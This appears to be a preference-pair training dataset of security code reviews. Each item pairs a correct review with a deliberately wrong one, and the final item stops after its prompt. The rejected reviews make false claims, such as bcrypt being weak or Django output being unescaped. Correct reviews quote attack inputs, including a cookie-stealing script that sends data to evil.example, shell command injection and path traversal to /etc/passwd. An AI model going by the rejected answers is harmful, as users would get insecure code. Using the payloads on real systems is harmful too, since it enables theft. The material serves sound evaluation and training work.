{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/798.html" }
b18ab9e72b4d5fed481ed21633c4bd127d7c872628f11ff41570334526f221c9
Django 4.2 template for user comments (autoescape not changed anywhere in settings): {% for c in comments %} <p class="comment">{{ c.body }}</p> <span>{{ c.author.display_name }}</span> {% endfor %} Comments are stored exactly as users typed them. Is there XSS?
Verdict: Secure. vulnerability_count: 0. Django's template engine auto-escapes variables by default, so <, >, &, ' and " in c.body and display_name are rendered as entities and cannot form markup (no CWE-79 in this snippet). Storing raw input is fine as long as output stays escaped; watch for |safe, mark_safe() or {% a...
Verdict: Insecure. vulnerability_count: 1. Issue: CWE-79 stored cross-site scripting, high. Because comments are stored exactly as users typed them, a body such as <script>fetch('//evil.example?c='+document.cookie)</script> is persisted and then rendered for every visitor through {{ c.body }}. Template variables output...
code-xss-django-autoescape
F6
prose
https://cwe.mitre.org/data/definitions/79.html
Secure
Insecure
claims Django templates render variables unescaped by default
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/79.html" }
0138391b891ee760b730353db85606ad1eacb4af6d003291e7129e0c9f871d92
Profile page snippet, Django 4.2. Users can write a bio with basic formatting, so we render it raw: <section class="bio">{{ profile.bio|safe }}</section> profile.bio is saved from a textarea without processing. Review?
- Verdict: Insecure - vulnerability_count: 1 - Issue: CWE-79 stored XSS, high - |safe tells Django to skip auto-escaping, so whatever the user typed (for example <img src=x onerror=...>) is emitted as live HTML to every visitor of the profile. - Fix: drop |safe, or sanitise on save with an allow-list HTML sanitiser (on...
- Verdict: Secure - vulnerability_count: 0 - Django auto-escapes every template variable by default, which neutralises HTML special characters before they reach the page. - The |safe filter only marks the string as already processed for Django's internal bookkeeping, so combined with auto-escaping the bio is still rend...
code-xss-django-safe
F4
bullets
https://cwe.mitre.org/data/definitions/79.html
Insecure
Secure
relies on default auto-escaping while the template explicitly disables it with |safe
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/79.html" }
329ecc538cc3db066bab36fa6e23d0dde50b5d4be8baa66da6db35e67b5c438b
Node/Express search page: app.get('/search', (req, res) => { res.send(`<h1>Results for ${req.query.q}</h1>` + renderResults(req.query.q)); }); Return SECURITY_REVIEW JSON.
{"verdict": "Insecure", "vulnerability_count": 1, "issues": ["CWE-79: reflected cross-site scripting (OWASP A03 Injection), high"], "summary": "req.query.q is interpolated into HTML without encoding, so a link like /search?q=<script>...</script> runs script in the victim's session. Encode q for the HTML context (a temp...
{"verdict": "Needs changes", "vulnerability_count": 1, "issues": ["CWE-352: cross-site request forgery (OWASP A01), medium"], "summary": "The search endpoint accepts requests from any origin without a CSRF token, so another site can make a logged-in user's browser issue searches on their behalf. Add csurf-style token m...
code-xss-reflected-search
F8
json
https://cwe.mitre.org/data/definitions/79.html
Insecure
Needs changes
identifies a bug but classifies reflected XSS as CSRF and gives the wrong fix
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/79.html" }
4277620245ccf47fa9ea76e8b6b5358b2483404e6f241863e0e144bbaf56add5
Download endpoint: @app.get('/files') def files(): name = request.args['f'] return send_file(os.path.join('/srv/reports', name)) What's wrong and what is the minimal correct fix?
Verdict: Insecure. vulnerability_count: 1. CWE-22 path traversal: f=../../etc/passwd escapes /srv/reports, and an absolute f such as /etc/passwd makes os.path.join discard the base entirely. Correct fix: resolve and check containment, e.g. base = os.path.realpath('/srv/reports'); p = os.path.realpath(os.path.join(base,...
Verdict: Insecure. vulnerability_count: 1. CWE-22 path traversal: f=../../etc/passwd climbs out of /srv/reports and returns arbitrary files. Minimal fix: sanitise the parameter before joining with name = name.replace('../', '') so traversal sequences are stripped, and keep os.path.join so the result always stays under ...
code-path-replace-dots
F10
prose
https://cwe.mitre.org/data/definitions/22.html
Insecure
Insecure
recommends a single-pass '../' strip that '....//' bypasses
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/22.html" }
bef929110a868945f9266ec2d8290898bc12d109e7ba0b14128396ed9ad53e38
Second review after a fix: BASE = os.path.realpath('/srv/reports') def resolve(name: str) -> str: p = os.path.realpath(os.path.join(BASE, name)) if os.path.commonpath([BASE, p]) != BASE: abort(404) return p send_file(resolve(request.args['f'])) Any traversal left?
- Verdict: Secure - vulnerability_count: 0 - realpath resolves .., symlinks and absolute inputs before the check, and commonpath containment then rejects anything outside BASE, which closes CWE-22 for this function. - Residual notes: symlinks created inside /srv/reports would still be followed (fine if only trusted job...
- Verdict: Insecure - vulnerability_count: 1 - Issue: CWE-22 path traversal, high - os.path.join with a user-controlled second argument is inherently unsafe: an input like ../../etc/shadow is joined before any check runs, so the dangerous path already exists in memory and realpath simply follows it to the target file. ...
code-path-commonpath-ok
F6
bullets
https://cwe.mitre.org/data/definitions/22.html
Secure
Insecure
flags traversal in code that already canonicalises and checks containment
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/22.html" }
509066cee9ff4065f2a7265ee0f47bd7a209dec6747147262e13f56efc7618af
Auth middleware (PyJWT 2.8): def current_user(request): token = request.headers['Authorization'].removeprefix('Bearer ') claims = jwt.decode(token, options={'verify_signature': False}) return User.objects.get(id=claims['sub']) The gateway in front of us validates tokens, mostly. OK?
Verdict: Insecure. vulnerability_count: 1. CWE-347: jwt.decode with verify_signature False accepts any token, so anyone who can reach this service directly, or any path the gateway does not cover ('mostly'), can forge a token with an arbitrary sub and act as that user. Verify here too: jwt.decode(token, key, algorithms...
Verdict: Secure. vulnerability_count: 0. Skipping signature verification is a common and acceptable pattern when an API gateway already validates tokens upstream; re-verifying adds latency and duplicates key management across services. PyJWT 2.x still checks the token structure and the exp claim when decoding, so expir...
code-jwt-noverify
F5
prose
https://cwe.mitre.org/data/definitions/347.html
Insecure
Secure
trusts claims from a token decoded with signature verification disabled
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/347.html" }
ae038df523e22214442962f21cf01dff62af7cafa4a6aebb3a5e34b23c55f744
Password storage, Python bcrypt 4.1: def set_password(user, raw): user.pw_hash = bcrypt.hashpw(raw.encode(), bcrypt.gensalt(rounds=12)) def check_password(user, raw): return bcrypt.checkpw(raw.encode(), user.pw_hash) SECURITY_REVIEW JSON please.
{"verdict": "Secure", "vulnerability_count": 0, "issues": [], "summary": "bcrypt with a per-password random salt and cost 12 is an appropriate slow password hash (meets CWE-916 guidance), and checkpw compares in constant time. Note that bcrypt only uses the first 72 bytes of input, so enforce a maximum length or pre-ha...
{"verdict": "Needs changes", "vulnerability_count": 1, "issues": ["CWE-916: use of password hash with insufficient computational effort"], "summary": "bcrypt is a legacy algorithm from 1999 with a 72-byte limit and is no longer considered strong against GPU cracking. Migrate to SHA-256 with a per-user salt, which is st...
code-bcrypt-passwords
F6
json
https://cwe.mitre.org/data/definitions/916.html
Secure
Needs changes
flags bcrypt as weak and recommends a faster, weaker hash
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/916.html" }
a658b794de9e75437dbea25422b4c9aaa193a893391c759985eb9136206bfe7d
Legacy PHP 8 login code still in production: $hash = md5($salt . $_POST['password']); if (hash_equals($row['pw_hash'], $hash)) { login($row); } Salt is 8 random chars per user. Severity for our backlog?
- Verdict: Needs changes - vulnerability_count: 1 - Issue: CWE-916 / CWE-328, weak password hashing, high severity - A salted MD5 is fast to compute, so a leaked table can be cracked at billions of guesses per second on a GPU; the salt only prevents precomputed tables. - Fix: password_hash($pw, PASSWORD_DEFAULT) with p...
- Verdict: Needs changes - vulnerability_count: 1 - Issue: CWE-1104, use of unmaintained third-party code, informational - MD5 is deprecated in modern style guides, but because each user has a random salt and comparison uses hash_equals, the stored hashes are not practically reversible. - Track as tech debt for the nex...
code-md5-passwords
F8
bullets
https://cwe.mitre.org/data/definitions/916.html
Needs changes
Needs changes
correct issue, but severity understated as informational and wrong CWE
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/916.html" }
7b86af1a4de9dfdc6c560b1764815c1b3854248a7b17208cedad6406dda8a91d
Webhook test button, runs on AWS EC2 with an instance role: @app.post('/webhooks/test') def test_hook(): url = request.json['url'] r = requests.get(url, timeout=5) return {'status': r.status_code, 'body': r.text[:2000]} Give SECURITY_REVIEW JSON.
{"verdict": "Insecure", "vulnerability_count": 1, "issues": ["CWE-918: server-side request forgery, critical"], "summary": "Any user-supplied URL is fetched from inside the VPC and the response body is returned, so http://169.254.169.254/latest/meta-data/iam/security-credentials/ can leak the instance role's credential...
{"verdict": "Secure", "vulnerability_count": 0, "issues": ["CWE-918: server-side request forgery"], "summary": "A user-supplied URL is fetched from inside the VPC and part of the response body is returned, so internal addresses such as the instance metadata service could be reached. The 5 second timeout limits abuse. C...
code-ssrf-webhook-fields
F7
json
https://cwe.mitre.org/data/definitions/918.html
Insecure
Secure
describes an SSRF correctly but returns Secure with count 0
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/918.html" }
5e3702c7c80226425db5cebf405b852020f7b272272091c34fd15968bf43b9c8
Avatar import feature, Kubernetes cluster with an unauthenticated internal admin service at http://admin.svc.cluster.local: @app.post('/avatar/import') def import_avatar(): img = requests.get(request.form['image_url'], timeout=10).content save_avatar(current_user.id, img) return '', 204 There is no rate l...
Verdict: Insecure. vulnerability_count: 2. Main issue: CWE-918 SSRF, high. The server fetches any URL the user gives, so image_url=http://admin.svc.cluster.local/... reaches the unauthenticated admin service from inside the cluster; even without the response being echoed, GET side effects and timing make it exploitable...
Verdict: Needs changes. vulnerability_count: 1. Issue: CWE-770, allocation of resources without limits. With no rate limiting, a single account can call /avatar/import in a tight loop and make the server download large files repeatedly, exhausting bandwidth and worker threads, and the 10 second timeout means each reque...
code-ssrf-avatar-ratelimit
F3
prose
https://cwe.mitre.org/data/definitions/918.html
Insecure
Needs changes
reports the rate-limit gap and misses the SSRF to internal services
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/918.html" }
1b5ffeffc2e0c11682a0e57739bd978dc57ad82c778c93ad01ece47718ef2045
Shipping status proxy: CARRIER = 'https://api.carrier.example' @app.get('/track/<int:shipment_id>') def track(shipment_id): r = requests.get(f'{CARRIER}/v2/shipments/{shipment_id}', timeout=5, allow_redirects=False, headers={'Authorization': f'Bearer {KEY}'}) return r.json() Any SSRF?
- Verdict: Secure - vulnerability_count: 0 - The scheme and host are constants and the only user input is converted to an int by the <int:...> route converter, so a caller cannot change where the request goes (no CWE-918). - allow_redirects=False also stops the bearer token being forwarded elsewhere. - Minor: handle no...
- Verdict: Insecure - vulnerability_count: 1 - Issue: CWE-918 server-side request forgery, high - The handler builds an outbound URL from request data and fetches it server-side, which is the defining SSRF pattern; an attacker can supply a shipment_id that walks the path, such as ../../internal, to reach other endpoint...
code-ssrf-allowlist-ok
F4
bullets
https://cwe.mitre.org/data/definitions/918.html
Secure
Insecure
flags SSRF although the host is fixed and the only input is a validated integer
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/918.html" }
0f418bf6b1f68641e07950267bb622d23c9b5fa2edaa9503f4fcebfb92340ec8
Is this insecure deserialization? (Python 3.12) @app.post('/prefs') def save_prefs(): prefs = json.loads(request.data) if not isinstance(prefs, dict) or set(prefs) - ALLOWED_KEYS: abort(400) db.save_prefs(current_user.id, prefs) return '', 204
Verdict: Secure. vulnerability_count: 0. json.loads only produces plain data types (dict, list, str, int, float, bool, None) and never instantiates arbitrary classes or runs code, so it is not the CWE-502 pattern associated with pickle or yaml.load. The type and key allow-list checks are good; consider also validating ...
Verdict: Insecure. vulnerability_count: 1. Issue: CWE-502 deserialization of untrusted data, critical. Deserialising raw request bodies is the root cause of most remote code execution bugs in web frameworks: json.loads accepts object_hook-style class hints in the payload, so a crafted document can instantiate objects w...
code-deser-json-ok
F6
prose
https://cwe.mitre.org/data/definitions/502.html
Secure
Insecure
treats json.loads as unsafe deserialization of code
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/502.html" }
bf326582516638f65eeb80b794527937588a6e2d7585e44e0fc9d7a1331fa89b
Session restore for our legacy dashboard: raw = request.cookies.get('state') if raw: state = pickle.loads(base64.b64decode(raw)) g.filters = state.get('filters', []) The cookie is set by our own server. Review.
- Verdict: Insecure - vulnerability_count: 1 - Issue: CWE-502, deserialization of untrusted data, critical - Cookies are client-controlled regardless of who set them first; pickle.loads on a crafted value runs arbitrary code via __reduce__, so any visitor can get remote code execution. - Fix: store filters as JSON, and...
- Verdict: Secure - vulnerability_count: 0 - The state cookie is generated by the server, so its contents are trusted application data rather than user input. - base64 encoding prevents special characters from reaching the unpickler, and the code only reads the filters key from the result. - pickle is the fastest way t...
code-deser-pickle-cookie
F5
bullets
https://cwe.mitre.org/data/definitions/502.html
Insecure
Secure
treats base64 as a protection for pickle data from a client cookie
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/502.html" }
348368e4babfc2f541f13ab76328221c250a4486c115760a54fb207021b763eb
Our API reflects Origin for CORS with credentials: res.set('Access-Control-Allow-Origin', req.headers.origin); res.set('Access-Control-Allow-Credentials', 'true'); We only want our own subdomains of example.com. How should we fix it?
Verdict: Insecure. vulnerability_count: 1. CWE-942: reflecting any Origin with credentials lets every website read authenticated API responses for logged-in users. Fix with an exact allow-list check, e.g. accept only if new URL(origin).protocol === 'https:' and the hostname is example.com or ends with '.example.com'; o...
Verdict: Insecure. vulnerability_count: 1. CWE-942: reflecting any Origin with credentials lets every website read authenticated API responses for logged-in users. Fix by validating the origin with a regular expression before reflecting it: if (/example\.com/.test(origin)) set the header, otherwise omit it. This keeps ...
code-cors-regex-unanchored
F10
prose
https://cwe.mitre.org/data/definitions/942.html
Insecure
Insecure
recommends an unanchored regex that also matches attacker domains
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/942.html" }
d5222a98f89ca830b89f73d9276e781a77c98557c8026d425906918a0b1bc8d1
Public status endpoint, no auth, no cookies, returns only {"status": "ok", "version": "3.4.1"}: app.get('/status', (req, res) => { res.set('Access-Control-Allow-Origin', '*'); res.json({ status: 'ok', version: VERSION }); }); JSON verdict please.
{"verdict": "Secure", "vulnerability_count": 0, "issues": [], "summary": "A wildcard Allow-Origin without Allow-Credentials only lets other sites read what anyone can already fetch anonymously, and browsers never send cookies with a wildcard. For public, read-only data this is fine (not CWE-942). Exposing the exact ver...
{"verdict": "Insecure", "vulnerability_count": 1, "issues": ["CWE-942: permissive cross-domain policy, critical"], "summary": "Access-Control-Allow-Origin: * lets any website on the internet call this API from a victim's browser and read the response, which is the textbook CORS misconfiguration. Wildcards should never ...
code-cors-public-readonly
F6
json
https://cwe.mitre.org/data/definitions/942.html
Secure
Insecure
treats wildcard CORS on a public, credential-less, read-only endpoint as critical
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/942.html" }
836b02ca9a511136cef0a215e59641f0c250628366f7c700747dc360e52c7cec
Java servlet, user lookup: String name = request.getParameter("name"); Statement st = conn.createStatement(); ResultSet rs = st.executeQuery("SELECT * FROM users WHERE username = '" + name + "'"); Is this injectable?
Verdict: Insecure. vulnerability_count: 1. Yes, this is CWE-89 SQL injection (high): the request parameter is concatenated into the SQL text, so name=' OR '1'='1 returns all users and stacked or UNION payloads can read other tables. Use a PreparedStatement with a ? placeholder and setString(1, name), and select only th...
Verdict: Needs changes. vulnerability_count: 0. It might be injectable depending on factors not visible here: the JDBC driver, database settings and any input filtering applied upstream could all prevent exploitation, and some drivers escape quotes automatically. Without testing the running application it is not possib...
code-sqli-concat-hedge
F9
prose
https://cwe.mitre.org/data/definitions/89.html
Insecure
Needs changes
hedges on an unambiguous string-concatenated SQL query
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/89.html" }
636582d5451ed679baa55ec34ce53fda3347f5c180efb829e488592fc53b260b
Payment client (Python): resp = requests.post( 'https://api.payments.example/v1/charges', json=charge, headers={'Authorization': f'Bearer {API_KEY}'}, verify=False, ) log.info('charge response %s', resp.text) Responses can include the last four card digits and the customer email.
- Verdict: Needs changes - vulnerability_count: 2 - 1. CWE-295, certificate validation disabled (high): verify=False lets anyone on the network path impersonate the payment API and capture the bearer key and charge data. - 2. CWE-532, sensitive data in logs (medium): full response bodies with emails and card fragments ...
- Verdict: Needs changes - vulnerability_count: 1 - 1. CWE-532, sensitive data in logs (low): response bodies are logged at info level. - 2. CWE-295, certificate validation disabled: verify=False skips TLS checks. - 3. CWE-798, the API key is embedded in the header string. - Fix: lower the log level to debug and move t...
code-tls-verify-payments
F7
bullets
https://cwe.mitre.org/data/definitions/295.html
Needs changes
Needs changes
lists three issues but reports a count of 1 and leads with the least serious
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/295.html" }
852f2b9dcf5d500200dc15b8a57a6ddfe3c7cb86f370f4bdae484c4ad63dede2
Dockerfile for an image we push to a public registry: FROM python:3.12-slim ENV DATABASE_URL=postgres://app:Pr0d-S3cret!@db.prod.internal:5432/app COPY . /app RUN pip install -r /app/requirements.txt CMD ["gunicorn", "app:app", "-b", "0.0.0.0:8000"]
Verdict: Insecure. vulnerability_count: 2. Critical: CWE-798, a production database password is baked into the image via ENV and is readable by anyone who pulls it from the public registry (docker inspect or the layer metadata); rotate it now and inject secrets at runtime from the orchestrator's secret store. Lower: no...
Verdict: Needs changes. vulnerability_count: 1. Issue: CWE-250, execution with unnecessary privileges. The image has no USER directive, so gunicorn runs as root inside the container, and any code-execution bug in the app or its dependencies would give the attacker root in the container and a better position for escapin...
code-docker-env-secret
F3
prose
https://cwe.mitre.org/data/definitions/798.html
Insecure
Needs changes
reports running as root but misses the production password baked into image layers
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/798.html" }
4e807741a6a04e1f235b25fdf0c04ca4dcee2197ebac3bc9962a6c89b6beae0d
Go, database/sql with pgx driver: func FindInvoice(ctx context.Context, db *sql.DB, id string) (*Invoice, error) { row := db.QueryRowContext(ctx, "SELECT id, amount FROM invoices WHERE id = $1", id) var inv Invoice return &inv, row.Scan(&inv.ID, &inv.Amount) } Injection risk?
Verdict: Secure. vulnerability_count: 0. $1 is a bind parameter: id travels separately from the SQL text, so it cannot alter the query. Nothing to fix for injection; you may want to check that callers handle sql.ErrNoRows and that id is authorised for the current tenant.
Verdict: Insecure. vulnerability_count: 2. Issues: CWE-89 SQL injection (OWASP A03:2021 Injection), high; CWE-20 improper input validation, medium. The id argument is a raw string from the caller and is placed into the statement at the $1 position, and with the pgx driver positional markers are expanded client-side bef...
code-sqli-go-placeholder
F6
prose
https://cwe.mitre.org/data/definitions/89.html
Secure
Insecure
flags a placeholder query in database/sql as SQL injection
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/89.html" }
dc5aad937249f418f8ebaac9290a099596a8bf31d00454398f193042a21d1065
React 18 component showing user reviews: export function Review({ review }) { return ( <article> <h3>{review.title}</h3> <p>{review.body}</p> </article> ); } review.title/body are raw user input from the API. XSS?
- Verdict: Secure - vulnerability_count: 0 - JSX expressions in element content are inserted as text nodes, so markup in title or body is shown literally, not parsed. - The risky React sinks are dangerouslySetInnerHTML and user-controlled href/src values (javascript: URLs); neither appears here.
- Verdict: Insecure - vulnerability_count: 1 - Issue: CWE-79 stored cross-site scripting (OWASP A03:2021), high; related CWE-80 basic XSS - The component renders raw user input from the API directly into the DOM, and React only escapes attribute values, not element children, so a review body containing <img src=x onerr...
code-xss-react-text
F6
bullets
https://cwe.mitre.org/data/definitions/79.html
Secure
Insecure
claims JSX text interpolation is an XSS sink
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/79.html" }
6cc3106a7df05f808915fd37c8aeae6d5962f67be8fdd833303f45942f1d327c
Webhook signature check (Python): def valid(body: bytes, sig_header: str) -> bool: expected = hmac.new(SECRET, body, hashlib.sha256).hexdigest() return hmac.compare_digest(expected, sig_header) JSON verdict.
{"verdict": "Secure", "vulnerability_count": 0, "issues": [], "summary": "HMAC-SHA256 over the raw body with a constant-time comparison is the right construction. Make sure the body is the exact raw bytes received, and add a timestamp check to stop replays."}
{"verdict": "Needs changes", "vulnerability_count": 1, "issues": ["CWE-208: observable timing discrepancy", "CWE-347: improper verification of cryptographic signature"], "summary": "hmac.compare_digest short-circuits when the two strings differ in length, which leaks the expected signature length through response timin...
code-hmac-compare-digest
F6
json
https://cwe.mitre.org/data/definitions/208.html
Secure
Needs changes
claims compare_digest leaks timing and suggests a worse comparison
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/208.html" }
95f8d4ee11d968fb3069b12a1c5d9e22d473f0d31eef74b1567665380ae6b559
pyyaml==5.3.1 is pinned in a service that parses customer-uploaded YAML manifests like this: manifest = yaml.load(upload.read(), Loader=yaml.SafeLoader) Our scanner reports a critical RCE. Real?
Verdict: Needs changes. vulnerability_count: 0 exploitable. The scanner matched the version, not the usage. CVE-2020-14343 is code execution through full_load / FullLoader in PyYAML before 5.4, but SafeLoader only constructs plain YAML types and was not affected, so this call path is not exploitable. Still upgrade to p...
Verdict: Insecure. vulnerability_count: 1. Issues: CVE-2020-14343 / GHSA-8q59-q68h-6hv4, critical (CWE-20, CWE-502 deserialization of untrusted data). pyyaml 5.3.1 is inside the affected range, and the scanner is right to flag it: the 5.3.x loaders share the same constructor table, so a !!python/object/apply tag in a c...
GHSA-8q59-q68h-6hv4
F4
prose
https://github.com/advisories/GHSA-8q59-q68h-6hv4
Needs changes
Insecure
applies the FullLoader CVE to code that uses SafeLoader
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-8q59-q68h-6hv4" }
19d800ecea95b9f23030c0c2223011355db2f7207dec80cf09bb7dd592c66558
requests==2.31.0. One Session talks to two hosts: s = requests.Session() s.get('https://metrics.lab.example/ping', verify=False) # self-signed lab box s.post('https://api.bank.example/transfer', json=t) # default verify Is the bank call unverified because of the earlier verify=False?
- Verdict: Needs changes - vulnerability_count: 1 - CVE-2024-35195 (requests before 2.32.0) makes verify=False stick for later requests to the same origin through the pooled connection. The bank call goes to a different origin, so it gets its own connection and is verified. - The remaining issue is verify=False itself ...
- Verdict: Insecure - vulnerability_count: 2 - Issues: CVE-2024-35195 / GHSA-9wx4-h78v-vm56 (CWE-670), CWE-295 improper certificate validation - In requests before 2.32.0 the first verify=False in a Session disables certificate checks for the whole Session object, so every later request, including the POST to api.bank....
GHSA-9wx4-h78v-vm56
F4
bullets
https://github.com/advisories/GHSA-9wx4-h78v-vm56
Needs changes
Insecure
extends the per-origin verify=False persistence bug to a different origin
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-9wx4-h78v-vm56" }
d3b842040fbabc179f687ba464ca1a07b868d73d896b50685a01afa1b8d2e7e1
Legacy dashboard uses axios 0.27.2 with withCredentials: true and the XSRF-TOKEN cookie, and it calls an external analytics host with the same instance. Do the axios CSRF-token advisories touch us?
Verdict: Needs changes. vulnerability_count: 1. Yes: CVE-2023-45857 also covers the 0.x line, from 0.8.1 up to but not including 0.28.0, so 0.27.2 sends the X-XSRF-TOKEN header to the analytics host. Upgrade to axios 0.28.0 (or 1.6.0+) and use a separate instance for third-party calls.
Verdict: Secure. vulnerability_count: 0. Issues reviewed: CVE-2023-45857 / GHSA-wf5p-g6vw-rhxx (XSRF-TOKEN disclosure, CWE-352) was introduced with the 1.0.0 rewrite of the request interceptors and does not affect the 0.x branch, and CVE-2021-3749 / GHSA-cph5-m8f7-6c5x (ReDoS in trim, CWE-1333) was fixed in 0.21.2, so ...
GHSA-wf5p-g6vw-rhxx
F2
prose
https://github.com/advisories/GHSA-wf5p-g6vw-rhxx
Needs changes
Secure
says only axios 1.x is affected; 0.8.1 to <0.28.0 is also affected
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-wf5p-g6vw-rhxx" }
4e2e18b8680ddf846eadf1f91fbe44e3fa50d50a85a1da291d3be6a8e716cae0
express 4.21.0 login handler: res.redirect(req.query.returnTo || '/home'); returnTo is not validated. Severity? JSON please.
{"verdict": "Needs changes", "vulnerability_count": 1, "issues": ["CWE-601: open redirect, medium"], "summary": "An attacker can craft a login link that sends users to a phishing site after a real login. Only allow relative paths that start with a single '/' and are not '//' or '/\\'."}
{"verdict": "Insecure", "vulnerability_count": 2, "issues": ["CVE-2024-29041 / GHSA-rv95-896h-c2vc: express malformed URL open redirect, critical", "CWE-94: code injection via res.redirect, critical"], "summary": "Passing unvalidated input to res.redirect lets an attacker inject a javascript: URL, which Express writes ...
code-open-redirect-severity
F8
json
https://cwe.mitre.org/data/definitions/601.html
Needs changes
Insecure
inflates an open redirect to critical RCE and misapplies an express CVE to a patched version
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/601.html" }
2a1dd8c062e4fa843e3fbefd755835321ec342f1a066048fa08159c687ed55b8
Cookie-authenticated Flask app, no CSRF protection on POST /account/email. We want a quick fix today. What do you recommend?
- Verdict: Needs changes - vulnerability_count: 1 - Issue: CWE-352 CSRF, medium - Quick, sound fix: set the session cookie to SameSite=Lax (blocks cross-site POSTs in modern browsers) and add a per-session CSRF token with Flask-WTF's CSRFProtect. - Check the Origin header exactly against your origin as an extra layer.
- Verdict: Needs changes - vulnerability_count: 1 - Issue: CWE-352 cross-site request forgery (OWASP A01:2021), medium; related CWE-346 origin validation error - Quick fix: add a before_request hook that rejects the POST unless 'example.com' in request.referrer, which blocks forged requests coming from other domains wh...
code-csrf-referer-check
F10
bullets
https://cwe.mitre.org/data/definitions/352.html
Needs changes
Needs changes
recommends a substring Referer check that evil-example.com and missing referers bypass
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/352.html" }
9311ed69079b85c7f4253140ce71675e98c344d7e8fa9819bfaa17188b9bd264
Network diagnostics route (Node 20): app.get('/ping', (req, res) => { exec('ping -c 1 ' + req.query.host, (err, out) => res.type('text').send(out)); });
Verdict: Insecure. vulnerability_count: 1. CWE-78 command injection, critical: exec runs the string through /bin/sh, so host=8.8.8.8;cat /etc/passwd executes the second command. Use execFile('ping', ['-c', '1', host]) with no shell, and validate host as an IP or hostname first.
Verdict: Secure. vulnerability_count: 0. Issues reviewed: CWE-78 OS command injection, CWE-88 argument injection, OWASP A03:2021. Node's exec() passes the command to the platform shell with each space-separated token quoted, so metacharacters such as ; or && arriving in req.query.host are treated as part of the hostnam...
code-node-exec-ping
F5
prose
https://cwe.mitre.org/data/definitions/78.html
Insecure
Secure
believes child_process.exec escapes concatenated arguments
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/78.html" }
d5c8d95e94685b628e0774a8322a48a467d6fda9063627035d551315a8c5c1b5
setup.py for an internal CLI has install_requires=['requests>=2.20']. There is no lockfile; users pip install it into their own environments, which reach the internet through an authenticated proxy. Any requests advisories that matter?
- Verdict: Needs changes - vulnerability_count: 1 possible - requests>=2.20 permits releases affected by CVE-2023-32681 (Proxy-Authorization leaked on HTTPS redirect, 2.3.0 to <2.31.0), which matters for proxy users. Which version a user actually has depends on their environment. - Fix: raise the floor to requests>=2.3...
- Verdict: Insecure - vulnerability_count: 2 - Issues: CVE-2023-32681 / GHSA-j8r2-6x86-q33q (CWE-200), CVE-2024-35195 / GHSA-9wx4-h78v-vm56 (CWE-670) - pip resolves requests>=2.20 to 2.20.0, the lowest version satisfying the specifier, so every installation runs a release affected by both advisories and leaks proxy cre...
GHSA-j8r2-6x86-q33q
F2
bullets
https://github.com/advisories/GHSA-j8r2-6x86-q33q
Needs changes
Insecure
asserts the resolved version is vulnerable when only a range is given; overstates certainty
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://github.com/advisories/GHSA-j8r2-6x86-q33q" }
fae9a0675df3b5a8f0968bd7ee4df81f2f7e43c6bdba5e76f373c2091527db65
Kubernetes Deployment excerpt for an internet-facing image resizer: containers: - name: resizer image: acme/resizer:2.4 securityContext: privileged: true volumeMounts: - { name: host, mountPath: /host } volumes: - { name: host, hostPath: { path: / } } (no resources block)
Verdict: Insecure. vulnerability_count: 2. Critical: privileged: true plus a hostPath mount of / gives the container full control of the node, so any RCE in the resizer becomes node compromise (CWE-250). Drop privileged, remove the hostPath, run as non-root with a read-only root filesystem. Lower: no resource limits (C...
Verdict: Needs changes. vulnerability_count: 1. Issue: CWE-770 allocation of resources without limits or throttling, medium; related CWE-400 uncontrolled resource consumption. The resizer has no resources block, so a burst of large images can consume all CPU and memory on the node and evict neighbouring pods, and image...
code-k8s-privileged
F3
prose
https://cwe.mitre.org/data/definitions/250.html
Insecure
Needs changes
flags missing resource limits but misses privileged mode and the host filesystem mount
claude-draft
false
preference_pair
{ "source_kind": "advisory", "source_url": "https://cwe.mitre.org/data/definitions/250.html" }
8ef01f65db3ac0985aff60fbcfca79a6b6b8656a8bb240cef8e546af7e6316b3
Our API accepts a user-supplied version constraint (e.g. ?range=^2.1) and evaluates it with semver 7.3.8 new Range(req.query.range). Which advisory applies? JSON.
